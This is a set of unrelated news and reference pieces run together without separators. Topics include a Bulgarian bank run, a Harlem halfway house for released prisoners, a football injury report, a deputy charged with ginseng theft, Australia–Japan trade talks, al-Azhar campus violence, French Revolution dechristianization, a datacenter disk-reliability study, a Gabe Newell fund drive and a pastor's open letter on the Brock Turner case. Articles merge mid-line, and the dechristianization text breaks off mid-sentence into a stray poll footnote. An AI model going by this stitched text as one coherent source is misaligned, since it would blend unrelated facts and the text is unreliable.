Authorities in Sofia believe two of the country’s major lenders have come under a systematic speculative attack.
Last week the government took over the Corporate Commercial Bank after customers rushed to withdraw deposits.
Speculation that other banks would follow ran riot, which resulted in a run on the First Investment Bank, the country’s third largest lender, on Friday.
The European Commission said the Bulgarian banking system is fundamentally “well capitalised with high levels of liquidity” and the decision has been taken to safeguard the system.
Bulgarian President Rosen Plevneliev sought to reassure investors saying: “The money of individuals and businesses in Bulgaria’s banks is secure. Banks will continue to operate normally.”
Authorities made five arrests over the weekend of those suspected of being involved in the plot to undermine Bulgaria’s financial system.I meet Otis J. the night he arrives at “The Castle,” a West Harlem halfway house for newly-released convicts. Sprung from prison in August after doing 40 years for attempted murder, Otis shows up with a laundry bag containing his life’s belongings. I notice he moves at a slightly slower pace than everyone else, and keeps his gestures compact. I imagine it’s partially a by-product of spending the bulk of one’s life living in a 70-square-foot cell, and partially due to the fact that in prison, sudden moves tend to get you shanked, pepper-sprayed, or both.
A kindly man with a downy white beard and a gentle manner, it’s almost as if the 69-year-old Otis somehow willed his senses into dulling down, just to survive 40 years in the flat, featureless prisons of New York State. He had resigned himself to the fact that he’d die behind bars, so he adapted. And as with anything one does for four decades, it’ll probably take a little time to undo it. The prison diet didn’t agree with him, so says he never ate much. I ask what he had for a first meal when he got out, if cravings had ever turned a cellmate into a rack of ribs or a cheesesteak like in a Bugs Bunny cartoon, but he just shrugs and says he’s “not really that interested in food.”
Otis, who tells me he was called “Saladin” on the inside, has taken an almost tragically circuitous route in getting here. Denied parole nine straight times, he insists he is innocent of the crime for which he was convicted. He says he was arrested at a park on 119th Street, and the crime happened a few blocks away, at 116th & 7th, that his conviction was a case of mistaken identity. Otis says he was wearing a tan jacket similar to one described by witnesses.
Whether that’s true or not, taking responsibility for one’s crime is a crucial part of being paroled. By maintaining his innocence and refusing to admit to something he says he didn’t do, Otis fell into a catch-22 known as the “parole paradox.”
“They told me on my sixth hearing, ‘If you say you did the crime, we’ll let you go,’” he says. “I turned it down.”
Ultimately, like 97 percent of America’s 1.2 million prisoners, Otis was eventually given a release date. But, as he was about to leave the cold confines of Upstate New York’s notorious Attica Correctional Facility last winter, prison officials told him he was wanted in New Jersey on a juvenile shoplifting charge he had picked up when he was 16. After serving an additional eight months at South Jersey’s Bayside State Prison for that, Otis, who had $40 in gate money but no place to live, was released to the Bellevue Men’s Shelter in Manhattan.
“It was like a medium,” he says, and quickly clarifies that by this, he doesn’t mean a psychic, but a “medium-security prison.” Shelter staff arranged for Otis to stay in a small two-man room rather than out among the general population in the main hall, so that sleeping outside a cell for the first time wouldn’t be unnecessarily discombobulating. It was one of the few things that felt familiar to him after being away from the outside world since 1975.
“I saw all these people on the street talking to themselves, I thought I was bugging out,” he says, shaking his head and chuckling softly at the memory. “Someone finally told me that they were talking into earpieces, they were phones. So then I started thinking that there were secret agents all over the place, because the last time I was in society, those were the only people who had equipment like that. I stood on the corner for two hours, semi-hypnotized, just frozen.”
Identity issues seem to have dogged Otis since his troubles began. When he was first incarcerated, he says some sort of paperwork snafu had him imprisoned under two different, but similar, names. Once that was cleared up, his prison file, which contained his birth certificate, social security card, and so forth, went missing during one of the myriad transfers every long-termer can expect. And so, he says he left prison without proper ID, just his release papers and the “dress-out gear” he was given by the state. Otis eventually got a copy of his birth certificate, which he remembered being at least partially sufficient for a state non-driver ID, but when he took it down to the DMV, he found out the documentation you need for such things these days is a lot more extensive than it used to be, and he was turned away.
The grim instability of shelter life is hardly a recipe for success under the best of circumstances. Fortunately, after Otis had been at Bellevue for a few months, a former prison buddy with connections at the Fortune Society, the New York City nonprofit that runs the Castle, was able to get him a bed there.
Fortune’s Castle was opened in 2002 and has helped roughly 1,200 people since opening its doors. The building used to be an all-girls school, and when it was initially purchased by Fortune it was dilapidated. Millions of dollars in renovation later the building is gorgeous—Clean, well-kept, organized. The resources were what you might expect: Dining room, a media center, a library, a TV room, a meeting room, a computer room. Stanley Richards, Senior Vice President of the Fortune Society, gave a tour along with a few residents. Richards’ pride in Fortune and its residents is undeniable—he was eager to show me the building, he hugged passersby in the hallway, and whenever the word “community” came up, he and the residents within earshot smiled and nodded in unison.
Richards explained that around 100 residents stay at Fortune each year, but residents don’t adhere to a specific residency schedule. “There’s no time limit,” resident Barry E. added. “It’s not a one-size-fits-all.”
Barry showed me his room—a one bedroom with a killer view of Riverbank State Park and the Hudson. He assured me that having your own room wasn’t common at Fortune, that he was blessed with timing and luck. Rooms vary from four residents to a room to one. There’s also “emergency” rooming for new arrivals, which eases residents into sleeping outside of a cell.
Otis tells me he earned two associate’s degrees on the inside, and worked in the prison hospital’s AIDS ward. He got a suit for job interviews through one of those “dress for success”-type programs young white guys donate their old clothes to, and though it’s not a perfect fit, it looks pretty sharp. He’s still chasing down that ID—without it, he can’t work—but now that he’s not spending his time on things like keeping other shelter residents from stealing his shoes, he’s a lot closer to getting it.
The odds of getting re-arrested are a lot slimmer if a person has a job. But almost to the man, the first thing every ex-con tells me is how hard it is to find work. One Fortune resident who did 25 years on a homicide conviction, tells me he’s hoping to get a so-called “Certificate of Relief” from the Parole Board in the next year or so, which would remove many of the legal restrictions barring felons from certain occupations. However, legal issues are only one of the things standing between an ex-prisoner and a job. Having a criminal record can reduce the likelihood of getting a callback or job offer by 50 percent. And after prison, where inmates don’t have access to the Internet, many quickly realize that even sending out a resume is nothing like it used to be.
Sam H. spent 32 years in prison for robbery and felony murder, though one could be excused for taking the deeply intelligent 53-year-old for, say, a PhD advisor. In 1983, Sam, who had never been in trouble before, agreed to help two friends pull off a robbery. They selected an “easy mark” who turned out to be an off-duty NYC Housing Authority cop named James Carragher. Gunfire was exchanged and Sam, who was unarmed, was wounded. Officer Carragher was also wounded. Sam survived, Officer Carragher didn’t. Sam wasn’t the shooter, but only Sam went to prison. He was 20 years old.
Sam was first eligible for parole in 2006, but because he was involved in a cop-killing, the parole board wouldn’t let him go. The “nature of the crime” was too serious to release him, they said. He earned a bachelor’s degree behind bars, then a master’s. He started the “Stop the Violence Peace Initiative” at Sing Sing, and raised $10,000 for the prison’s Family Center, which helped buy supplies for children whose parents were incarcerated there. Letters poured into the parole board’s offices from people who supported Sam’s release, including 20 correctional officers that had supervised him to the district attorney who prosecuted him. Still, he was denied parole seven times. On his eighth try, more than three decades after he went in, the parole board finally voted to release Sam. And he found a very different world than the one he left.
Back when Sam went upstate, job searches required nothing more than a typewriter, some paper, and the classifieds. When he was finally set free this past September, he found himself using technology that didn’t exist when he went in. Classified ads have largely been replaced by Craigslist, Monster.com, and the like, and since safety issues preclude prisoners from accessing the Internet, the past three decades of progress can easily pass one by.
“It’s like the Stone Age when it comes to computers on the inside,” Sam tells me. “Sending out resumes when you get out—figuring out how to download the document, attach it, email it, et cetera. Guys doing 25, 30 years, they don’t stand a chance.”
Most ex-inmates don’t think to ask for help, he says. It’s not a habit people develop in prison, explaining that “you could be deemed ‘weak,’ or ‘vulnerable.’” For some, supermarkets are overwhelming. After years of little or no choice in what you eat, wear, and buy, imagine suddenly having to decide between 30 different kinds of shampoo, or potato chips, or toilet paper. A man who did a 14-½-year stretch tells me he’s been out for 11 years and still can’t go grocery shopping alone. He did ask for help, and now he and two other ex-cons make weekly trips to the Fairway on 125th Street as a team, sharing one cart and splitting the decision-making three ways.
Waking up at 5 a.m. for the “count” is a hard habit to break, and after being surrounded by people 24 hours a day, seven days a week, for years on end, being alone can be unnerving. Paying for things is a lot different than it used to be, too. Debit cards take some getting used to, and public assistance, which many newly-released prisoners rely on to survive, is now largely doled out this way. After 22 years in prison on first-degree robbery charges, Larry C. knew he’d have to get accustomed to the subway system all over again. The fare had doubled, from $1.25 to $2.50, while he’d been away, and MetroCards had replaced tokens. Swiping one through a subway turnstile came easily, but figuring out how to dip the card into a bus’s farebox stopped him cold. When the line behind him got too long, the driver showed him how to do it, commenting archly, “I see you don’t ride the bus very often.” One elderly ex-con told me it took him a while to get used to the smell of ladies perfume again, after years of little contact with the opposite sex.
Another former inmate describes tasting fried chicken again after a decade-and-a-half of institutional food, saying the feel of the rich meat in his mouth was “totally surreal.” The taste of metal cutlery after years of plastic can also taste funny. Prisoners in New York State are released back to their counties of conviction, so if you were locked up in Brooklyn, you’re going back to Brooklyn. Familiarity can be a stabilizing force, though it can also mean trouble—especially, if like many parolees, you fall in with the same crowd that led to your incarceration to begin with.
You’ve got to be on your best behavior when you’re on parole, and so does everyone you’re with. Even being around someone smoking a joint is a violation. The recidivism rate in New York State is roughly 40 percent, but Fortune residents go back to prison at a rate of less than 1 percent—the lowest in the city. It’s easy to understand why one wouldn’t want to be sent back to prison. But a drug-dealer-gone-straight from the Lower East Side sums it up best, saying, “The best day on the inside—when I had a hot visit and I’d put on my best Muslim cologne, you know, my Muslim oils, and I had my greens creased seven different ways by putting them under the mattress of the biggest guy’s bed—the best day on the inside will never, ever be anywhere near as good as the worst day on the outside.”Running back LeSean McCoy was not on the field during the open portion of Thursday's Bills practice after sustaining a hamstring injury Wednesday that put his availability for this week's game in question.
Receiver Robert Woods (foot) and defensive tackle Marcell Dareus (hamstring) were also absent Thursday, though left tackle Cordy Glenn (ankle) and tight end Charles Clay (ankle) returned to practice.
Coach Rex Ryan said McCoy felt tightness in the hamstring Wednesday and didn't finish practice, though several teammates said they didn't realize he had left. McCoy missed time last season with a left hamstring strain, though it's not yet known which side he injured Wednesday.
UPDATE: McCoy reportedly out for Dolphins game
If Woods can't play Sunday, the Bills receiving corps would be comprised of Marquise Goodwin, Justin Hunter, Walt Powell and Brandon Tate. Ryan has said previously that the team also has plays for running back Reggie Bush to be used as a slot receiver.
If McCoy doesn't play, Mike Gillislee, Bush and rookie Jonathan Williams would lead the Bills' rushing attack.Copyright by WISH - All rights reserved Joseph Hilton (Provided Photo/Owen County Sheriff's Department)
Copyright by WISH - All rights reserved Joseph Hilton (Provided Photo/Owen County Sheriff's Department)
Staff Reports - SPENCER, Ind. (WISH) - The Owen County Sheriff's Office reported that a former deputy turned himself in on Saturday and faces a felony and a misdemeanor charge.
According to police, a northern Owen County landowner found a man stealing ginseng off of his property on September 11, 2014. When Owen County Deputy Joseph R. Hinton responded to the call, he confiscated a "sizeable" amount of ginseng from the suspect.
When the landowner asked Hinton to return the stolen ginseng, Hinton said that the stolen material would be turned over to the Indiana Conservation Officer for investigation, police say.
The landowner called the Indiana Conservation Officer approximately two weeks later to check the status of his stolen property, which initiated a lengthy investigation that revealed that Hinton hadn't turned over the stolen ginseng or even commenced a report against the suspect.
Investigating police report that Hinton had instead kept the ginseng and sold it to a certified buyer for $336.
The Sheriff's Office issued an arrest warrant through the Owen Circuit Court for Hinton on Friday.
He faces one count of official misconduct, a level 6 felony, and one count of theft, a class A misdemeanor.
He posted 10% of his $7,500 bond and was released on Saturday.Australian Prime Minister Tony Abbott reviews an honor guard during a welcome ceremony with Japanese Prime Minister Shinzo Abe at Akasaka State Guest House in Tokyo, Monday. (Photo11: Koji Sasahara, AP)
TOKYO (AP) — Australia's prime minister said Monday that a free trade deal with Japan is "within our grasp" after years of negotiations.
Tony Abbott, who led his conservative coalition to power in September elections, is leading a mission of hundreds of people to Tokyo. It is part of an East Asian tour that will also take him to China and South Korea as he seeks to deepen economic ties with the region.
"Things are going very well indeed," Abbott told Australian and Japanese executives ahead of his meeting with Prime Minister Shinzo Abe, where the two leaders were expected to conclude the trade negotiations. "It has eluded us for so many years but is now within our grasp," he said.
Japan is Australia's second-biggest trading partner after China and a major customer for its beef and other farm goods.
Abbott had said Sunday that some issues remained to be resolved with Tokyo on trade. Japanese media reported progress on the key sticking points of tariffs on beef exports from Australia and car exports from Japan.
Both sides see significant potential for growth in trade in those areas should an agreement be reached.
"We asked so many times for this," said Akio Mimura, chairman of the Tokyo Chamber of Commerce and Industry. "This will be the last time."
Among the business leaders visiting Japan with Abbott were finance, gambling and mining industry executives. Gaming mogul James Packer reportedly is among them, seeking local partners for a joint venture casino that his company Melco Crown hopes to build if Japan passes a new law to allow them.
During his visit to Seoul, Abbott will finalize a free trade agreement reached earlier between Australia and South Korea.
Abbott said he was determined to end Australia's "Eurocentric" bias. Australia's exports of iron ore and other resources have played a crucial role in its own affluence and the economic rise of Japan, China and other Asian economies, he said.
There was a time, Abbott said, when some organizations in Australia banned Toyota cars from their parking lots, due to animosity that lingered from World War II.
"My visit so early in my tenure is a deliberate statement of my government's priorities," he said. "Australia is not in the wrong region but in the right one. We are in the right place at the right time," he said.
Separately, the U.S. and Japan were holding talks Monday in Tokyo on a trans-Pacific trade agreement. Australia is also a part of those talks, where progress appears to have stalled, at least partly due to disputes over U.S.-Japan trade in cars and farm products.
Japanese officials said before Abbott's visit that whaling, another contentious issue, would not be on the agenda.
Last week, the International Court of Justice ruled that Japan's annual hunt in the Antarctic was not for scientific purposes, as Tokyo had claimed, and ordered it halted. Australia, which brought the case against Japan in 2010, praised the judgment. Environmentalists have long sought an end to the whaling program on ethical grounds.
Copyright 2014 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://usat.ly/1gC57v4One student was killed, several injured and at least 60 arrested on Saturday as students at the Cairo campus of al-Azhar University battled with security forces. At least two buildings were set ablaze.
The day was the first of end-of-term examinations at the university, the epicentre of recent anti-government demonstrations led by Islamist youth. Calls for a boycott of the exams appear to have been the starting point of the violence.
There were conflicting reports as to whether or not student protesters had attempted to disrupt exam schedules and prevent students from entering buildings to sit tests.
The state-owned al-Ahram newspaper reported that security forces used teargas to disperse students who were stopping others taking their exams. The violence followed the deaths of at least five people during protests in several cities on Friday.
The official Facebook page of Students Against the Coup, a campus-based youth movement, showed a photograph of a charred dormitory on the campus.
The caption blamed "the dogs of the Interior [ministry]", and claimed that incendiary bombs had been fired at the building by police, "causing a very big fire" that "burned everything to ashes".
CBC, a non-state-owned television station, broadcast film footage from the campus, showing broken windows and charred interiors flooded with water after the fires were extinguished. The news report carried the onscreen logo "Egypt Fights Terrorism", a slogan in line with the military-led government's campaign against dissent and militant violence that has spread across Egypt since the 3 July overthrow of the democratically elected Muslim Brotherhood president, Mohamed Morsi.
Youssof Salhen, 21, spokesperson for Students Against the Coup, a movement of Muslim Brotherhood-affiliated students who have called for the reinstatement of Morsi, said 14 of those arrested were women.
"We are not going to stop [protesting] until we achieve justice for those who have died, and those who have been jailed," Salhen told the Observer. "The security forces and the coup forces will continue to try to frighten students for trying to exercise their rights to peaceful protest, but we will continue."
He claimed that police and "thugs" had stormed the al-Azhar campus "to beat up and detain students". He described the "thugs" as civilians paid by police to use violence against protesters. Salhen identified the dead student as Khaled al-Haddad, and said he had been struck by a bullet fired by police. Haddad, believed to be 21, was a student in the faculty of commerce. At least eight other students have died during protests at al-Azhar since the overthrow of Morsi.
A second student, Tamim Mohamed, was hit in the head and was said to be undergoing surgery at a Cairo hospital.
On Wednesday, the military-led interim government announced that the Muslim Brotherhood was a "terrorist organisation". A day later, the state said anyone found guilty of being a member or supporter of the group could serve five years in prison.
The government also released three telephone numbers for Egyptians to use to report on suspected Muslim Brothers."Dechristianization" redirects here. For other uses, see Dechristianization (disambiguation)
The dechristianization of France during the French Revolution is a conventional description of the results of a number of separate policies conducted by various governments of France between the start of the French Revolution in 1789 and the Concordat of 1801, forming the basis of the later and less radical laïcité policies. The goal of the campaign between 1793 and 1794 ranged from the public reclamation of the massive amounts of land, power, and money held by the Catholic Church in France to the termination of Catholic religious practice and of the religion itself. There has been much scholarly debate over whether the movement was popularly motivated.
The French Revolution initially began with attacks on church corruption and the wealth of the higher clergy, an action with which even many Christians could identify, since the Roman Catholic church held a dominant role in pre-revolutionary France. During a two-year period known as the Reign of Terror, the episodes of anti-clericalism grew more violent than any in modern European history. The new revolutionary authorities suppressed the church; abolished the Catholic monarchy; nationalized church property; exiled 30,000 priests and killed hundreds more.[4] In October 1793 the Christian calendar was replaced with one reckoning from the date of the Revolution, and Festivals of Liberty, Reason and the Supreme Being were scheduled. New forms of moral religion emerged, including the deistic Cult of the Supreme Being and the atheistic Cult of Reason,[5] with the revolutionary government briefly mandating observance of the former in April 1794.[6][7][8][9][10]
Religion and the Catholic Church under the monarchy [ edit ]
Before 1789 [ edit ]
In 18th-century France, the vast majority of the population adhered to the Catholic Church as Catholicism had been since the revocation of the Edict of Nantes in 1685 the only religion officially allowed in the kingdom. Nonetheless, minorities of French Protestants (mostly Huguenots & German Lutherans in Alsace) and Jews still lived in France at the beginning of the Revolution. The Edict of Versailles,[11] commonly known as the Edict of Tolerance, had been signed by Louis XVI on 7 November 1787 and had given non-Catholics in France the right to openly practice their religions as well as legal and civil status, which included the right to contract marriages without having to convert to the Catholic faith. At the same time, libertine thinkers popularized atheism and anti-clericalism.
The Ancien Régime institutionalised the authority of the clergy in its status as the First Estate of the realm. As the largest landowner in the country, the Catholic Church controlled properties which provided massive revenues from its tenants;[12] the Church also had an enormous income from the collection of tithes.[12] Since the Church kept the registry of births, deaths, and marriages and was the only institution that provided hospitals and education in some parts of the country, it influenced all citizens.
Between 1789 and 1792 [ edit ]
The event that launched the Revolution was the abolition of the privileges of the First and Second Estate on the night of 4 August 1789. In particular, it abolished the tithes gathered by the Catholic clergy.[13]
The Declaration of the Rights of Man and Citizen of 1789 proclaimed freedom of religion across France in these terms :
Article IV - Liberty consists of doing anything which does not harm others: thus, the exercise of the natural rights of each man has only those borders which assure other members of the society the enjoyment of these same rights. These borders can be determined only by the law.
Article X - No one may be disturbed for his opinions, even religious ones, provided that their manifestation does not trouble the public order established by the law.
On October 10, 1789, the National Constituent Assembly seized the properties and land held by the Catholic Church and decided to sell them as assignats.
On July 12, 1790, the assembly passed the Civil Constitution of the Clergy that subordinated the Roman Catholic Church in France to the French government. It was never accepted by the Pope and other high-ranking clergy in Rome.
Fall of the monarchy in 1792 [ edit ]
New policies of the Revolutionary authorities [ edit ]
The programme of dechristianization waged against Catholicism, and eventually against all forms of Christianity, included:[14][15][need quotation to verify]
destruction of statues, plates and other iconography from places of worship
destruction of crosses, bells and other external signs of worship
the institution of revolutionary and civic cults, including the Cult of Reason and subsequently the Cult of the Supreme Being (spring 1794)
the enactment of a law on 21 October 1793 making all nonjuring priests and all persons who harbored them liable to death on sight
An especially notable event that took place in the course of France’s dechristianization was the Festival of Reason, which was held in Notre Dame Cathedral on 10 November 1793.
The dechristianization campaign can be seen as the logical extension[16] of the materialist philosophies of some leaders of the Enlightenment such as Voltaire, while for others with more prosaic concerns it provided an opportunity to unleash resentments against the Catholic Church (in the spirit of conventional anti-clericalism) and its clergy.[17]
The Revolution and the Church [ edit ]
In August 1789, the State cancelled the taxing power of the Church. The issue of church property became central to the policies of the new revolutionary government. Declaring that all church property in France belonged to the nation, confiscations were ordered and church properties were sold at public auction. In July 1790, the National Constituent Assembly published the Civil Constitution of the Clergy that stripped clerics of their special rights — the clergy were to be made employees of the state, elected by their parish or bishopric, and the number of bishoprics was to be reduced — and required all priests and bishops to swear an oath of fidelity to the new order or face dismissal, deportation or death.
French priests had to receive Papal approval to sign such an oath, and Pius VI spent almost eight months deliberating on the issue. On 13 April 1791, the Pope denounced the Constitution, resulting in a split in the French Catholic church. Over fifty percent became abjuring priests ("jurors"), also known as "constitutional clergy", and nonjuring priests as "refractory clergy".
Map of France showing the percentage of juring priests in 1791. The borders of the map are those of 2007, because the data come from archives of the modern departments
In September 1792, the Legislative Assembly legalized divorce, contrary to Catholic doctrine. At the same time, the State took control of the birth, death, and marriage registers away from the Church. An ever-increasing view that the Church was a counter-revolutionary force exacerbated the social and economic grievances and violence erupted in towns and cities across France.
In Paris, over a forty-eight-hour period beginning on 2 September 1792, as the Legislative Assembly (successor to the National Constituent Assembly) dissolved into chaos, three Church bishops and more than two hundred priests were massacred by angry mobs; this constituted part of what would become known as the September Massacres. Priests were among those drowned in mass executions (noyades) for treason under the direction of Jean-Baptiste Carrier; priests and nuns were among the mass executions at Lyons, for separatism, on the orders of Joseph Fouché and Collot d'Herbois. Hundreds more priests were imprisoned and made to suffer in abominable conditions in the port of Rochefort.
Anti-church laws were passed by the Legislative Assembly and its successor, the National Convention, as well as by département councils throughout the country. Many of the acts of dechristianization in 1793 were motivated by the seizure of church gold and silver to finance the war effort.[18] In November 1793, the département council of Indre-et-Loire abolished the word dimanche (English: Sunday). The Gregorian calendar, an instrument decreed by Pope Gregory XIII in 1582, was replaced by the French Republican Calendar which abolished the sabbath, saints' days and any references to the Church. The seven-day week became ten days instead.[20] It soon became clear, however, that nine consecutive days of work were too much, and that international relations could not be carried out without reverting to the Gregorian system, which was still in use everywhere outside of France. Consequently, the Gregorian Calendar was reimplemented in 1795.[21]
Anti-clerical parades were held, and the Archbishop of Paris, Jean-Baptiste-Joseph Gobel, was forced to resign his duties and made to replace his mitre with the red "Cap of Liberty." Street and place names with any sort of religious connotation were changed, such as the town of St. Tropez, which became Héraclée. Religious holidays were banned |
Columns may not add up to 100% due to rounding. Full poll results, detailed tables, and methodology found here. Sign up for notifications of new releases of the Reason-Rupe poll here.At last months Usenix FAST 16 conference, in the Best Paper award winner Environmental Conditions and Disk Reliability in Free-cooled Datacenters, researchers Ioannis Manousakis and Thu D. Nguyen, of Rutgers, Sriram Sankar of GoDaddy, and Gregg McKnight and Ricardo Bianchini of Microsoft, studied how the higher and more variable temperatures and humidity of free-cooling affect hardware components. They reached three key conclusions:
Relative humidity, not higher or more variable temperatures, has a dominant impact on disk failures.
High relative humidity causes disk failures largely due to controller/adapter malfunction.
Despite the higher failure rates, software to mask failures and enable free-cooling is a huge money-saver.
Background
Datacenters are energy hogs. A web-scale datacenter can use more than 30 megawatts and collectively they are estimated to use 2 percent of US electricity production.
Moreover, the chillers for water cooling and the backup power required to keep them running in a blackout are costly too. As the use of cloud services has grown, the cost of hyperscale datacenters has led to more experimentation such as free-cooling and higher operating temperatures.
But to fully optimize these techniques, operators also need to understand their impact on the equipment. If lower energy costs are offset by higher hardware costs and downtime, it isn't a win.
The study
The researchers looked at 9 Microsoft datacenters around the world for periods ranging from 1.5 to 4 years, covering over 1 million drives. They gathered environmental data including temperature and relative humidity and the variation of each.
Being good scientists, they took the data and built a model to analyze the results. They quantified the trade-offs between energy, environment, reliability, and cost. Finally, they have some suggestions for datacenter design.
Key findings:
Disks account for an average of 89 percent of component failures. DIMMs are 2nd at 10 percent. [Disks are the most common component in datacenters.]
of component failures. DIMMs are 2nd at 10 percent. [Disks are the most common component in datacenters.] Relative humidity is the major reliability factor - more so than temperature - even when the data center is operating within industry standards.
is the - more so than temperature - even when the data center is operating within industry standards. Disk controller/connectivity failures are greatest during high relative humidity.
Server designs that place disks at the back of the server are more reliable in high humidity.
Despite the higher failure rates, software mitigation allows cloud providers to save a lot of money with free-cooling.
High temperatures are not harmless, but are much less significant than other factors.
That last finding is key to why the cloud clobbers current array products. It is good for global warming and good for the bottom line.
Environmental impact
The paper classifies the datacenters by either Cool or Hot and either Dry or Humid. The following table from the paper breaks out the details:
The chart that best underlines the conclusion that it is humidity and not temperature that causes failures is this one:
The Storage Bits take
For far too long storage vendors controlled the release of data on device reliability. But web-scale datacenters owe nothing to legacy vendors, so they win by sharing their experience with consumers looking for a better deal.
The RAID array model - building costly duplication in storage silos - does not and cannot scale to meet Big Data needs. This paper proves the logic behind the design of the Google File System and other web-scale object stores: lower reliability components in a software framework that expects failure can be both lower cost and more available than traditional RAID array designs.
My only question about the paper is the fact that the authors seem to think that disk drives are sealed against ambient air. As regular readers know, this is not the case. I've pinged the lead author and will update the post if I get a reply.
Update: I did get a reply and my concern was unfounded. Here's what lead author Ioannis Manousakis said in response:
Indeed, we are aware of the breathing holes and I agree that we could have phrased the sentence better. Our data (Figure 2), though, suggests that disks in HH1 (hot - humid environment) experience a much higher number of controller/connectivity failures than dry datacenters do. At the same time, the number of reallocated sectors significantly drops. These observations suggest that the mechanical part is not affected much (or the effect is much less significant than that at the controller). We observed the same effects in other humid datacenters as well.
Thanks for clearing that up! End update.
Comments welcome, as always. OK, so how do we control humidity at home? Air conditioning? Wrong answer!A modder's fund drive to call Gabe Newell's joke bluff, and fly the Valve boss plus a producer to Australia to preview his Left 4 Dead campaign, has surpassed $3,000 in less than a week. Pack your bags, Mr. Newell.
The backstory: Joe W-A of Brisbane is a serious modder, working on this custom Left 4 Dead campaign, "Shotgun Sunrise." He's also pals with Newell. So Joe jokingly feigned disappointment that Newell didn't fly him up to Valve HQ to preview Left 4 Dead 2, which Valve did earlier for the leaders of the L4D2 boycott movement. Newell's joking reply was a "boycott" of Joe's campaign, and then the demand that Joe fly him and producer Erik Johnson to Australia if he wanted them to preview it.
Somehow, this premise netted more than $3,000 in donations through Saturday, when Joe announced the drive had breached its target. While he's offered to return donations should any of this be called off, the sum now is so serious that "I'm assuming you don't want refunds, and the money will go to either Gabe and Erik's flights or [the charity] Child's Play."
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When he got about $500 in on the first day, Joe emailed Newell to ask for a price quote. Newell replied with a $1,211 figure on Qantas, connecting through L.A. "So Erik and I aren't too much in danger," Newell said. Not so fast, my friend.
So the ball is in Valve's court here. Whatever happens, we've all had a great laugh - some of Valve's employees even donated to the cause. And whether it ends with pictures of Gabe Newell and Erik Johnson in a 19-year-old modder's home across the Pacific Ocean, playing Left 4 Dead, or a handsome donation to a worthy cause, we can stamp "win" all over this.
Just Waiting on Gabe and Erik's Responses [Fly Gabe Newell]John Pavlovitz. (Courtesy of John Pavlovitz)
A North Carolina father wrote a poignant open letter in reply to the one from the father of Stanford sex offender Brock Turner, saying he wants his words to break the silence surrounding sexual assault.
Before Turner’s sentencing, his father, Dan Turner, wrote to the judge pleading for a lighter punishment for his son, who was found guilty of sexually assaulting an intoxicated and unconscious woman behind a trash bin at Stanford University in January 2015.
“These verdicts have broken and shattered him and our family in so many ways,” Dan Turner wrote. “His life will never be the one that he dreamed about and worked so hard to achieve. That is a steep price to pay for 20 minutes of action out of his 20 plus years of life.”
The two Stanford sexual assault witnesses who intervened and called police have made public statements following the sentencing of the sex offender Brock Turner. Letters written by Turner's family before sentencing are also public. Here's what they said. (Monica Akhtar/The Washington Post)
[‘You took away my worth’: A sexual assault victim’s powerful message to her Stanford attacker]
The message outraged many who called it “tone-deaf” and “impossibly offensive,” including John Pavlovitz, a pastor and fellow father from Wake Forest, N.C.
On Monday, Pavlovitz wrote a response, saying he wanted to do what Turner’s father failed to do — “teach not only his son but other sons as well.”
“The crime itself was horrible enough, but [the] father’s letter — it really summed a lot of what we’re doing wrong in our culture regarding sexual assault,” he told The Washington Post Wednesday afternoon. “There’s a blaming of the victim and removing of culpability from the assailant.
“The letter made the victim invisible and it made Brock a sympathetic figure. The only thing Brock was a victim of was his own bad choices.”
[What the Stanford sex offender’s loved ones said to keep him out of prison]
Pavlovitz, 47, a youth minister at North Raleigh Community Church, told The Post that he wrote the open letter father-to-father, in the hopes that his own children will one day live in a society that is “a little more sensitive and understanding and wise when it comes to sexual assault.”
He wrote to Turner’s father:
I need you to understand something, and I say this as a father who dearly loves my son as much as you must love yours: Brock is not the victim here.
His victim is the victim.
She is the wounded one.
He is the damager.
[‘A steep price to pay for 20 minutes of action’: Dad defends Stanford sex offender]
In the days since Pavlovitz posted his letter online, he has been swept up in the news storm surrounding Turner’s case.
His blog, johnpavlovitz.com, has barely been able to contain its readers — frequently flashing an error message and prompting Pavlovitz to encourage people on Wednesday to “keep refreshing if you get errors.”
“It’s one of those situations where you’re thrilled you’re reaching so many people, but you’re sad it’s for such a bad reason,” he said. “My hope is that my words will encourage victims, give them a sense that they’re seen.”
Brock Turner’s story caught fire last week when his victim, who has not been named, read her own letter to Turner in court, calling his recommended sentence a “soft time-out, a mockery of the seriousness of his assaults.”
He was sentenced to six months in county jail and three years of probation, and ordered to register as a sex offender — a perceived soft sentence that drew fury from many who are now calling for the judge’s removal.
Things intensified when the letter from Turner’s father was released, saying that his son should not receive prison time.
“I felt his words were obliterating that woman, so I felt someone needed to speak to that,” Pavlovitz said about the plea.
Pavlovitz wrote in his response:
Brock has to register as a sex offender because he sexually assaulted an incapacitated young woman. This is why we have such requirements; because one vile act against another human being is one too many, because we don’t get a do-over when we do unspeakable things, because people need to be protected with knowledge of others in their midst who have failed so egregiously at respecting another person’s basic dignity. The idea that your son has never violated another woman next to a dumpster before isn’t a credit to his character. We don’t get kudos for only raping one person in our lifetime. I don’t believe your son is a monster, but he acted like one and that needs to be accounted for. To be sure, this decision is not the sum total of Brock’s life, but it is an important part of the equation and it matters deeply. And to be clear, Mr. Turner, “alcohol and sexual promiscuity” are not the story here. The story here, is that young men have choices to make and these choices define them, even if those choices are made when temptation is great and opportunity is abundant. In fact, our humanity is most expressed when faced with such things, we choose integrity and decency; when we abstain from doing what is easy but wrong. We as parents don’t control our children. Most parents understand this. Despite our best efforts to the contrary, they fail and fall and do things we’d never consent to. I certainly hope this is such an occasion, though it is not coming across that way in your letter. It feels like you want more sympathy and goodwill toward your son than you want for the survivor of his crime, and that’s simply not good enough for her or for those young men and women watching.
[The Swedish Stanford students who rescued an unconscious sexual assault victim speak out]
Pavlovitz said he believes Turner’s actions were “a symptom of his disregard for another human being.”
“I hear the phrase, ‘Boys will be boys,’ ” he told The Post, “but what about boys being men? What about them being men of integrity and character — like the two men who came upon this crime and intervened?
“That’s what they should aspire to.”
He told Turner’s father:
You love your son and you should. But love him enough to teach him to own the terrible decisions he’s made, to pay the debt to society as prescribed, and then to find a redemptive path to walk, doing the great work in the world that you say he will. For now though, as one father to another: Help us teach our children to do better — by letting them see us do better.
Read more:
What the Stanford sex offender’s loved ones said to keep him out of prison
‘For now, I am every woman’: Stanford sexual assault victim speaks about anonymityA woman reported spotting Eric Frein Friday night in a wooded area near a Pocono high school with his face covered in mud and carrying a rifle, Pennsylvania State Police said Saturday.
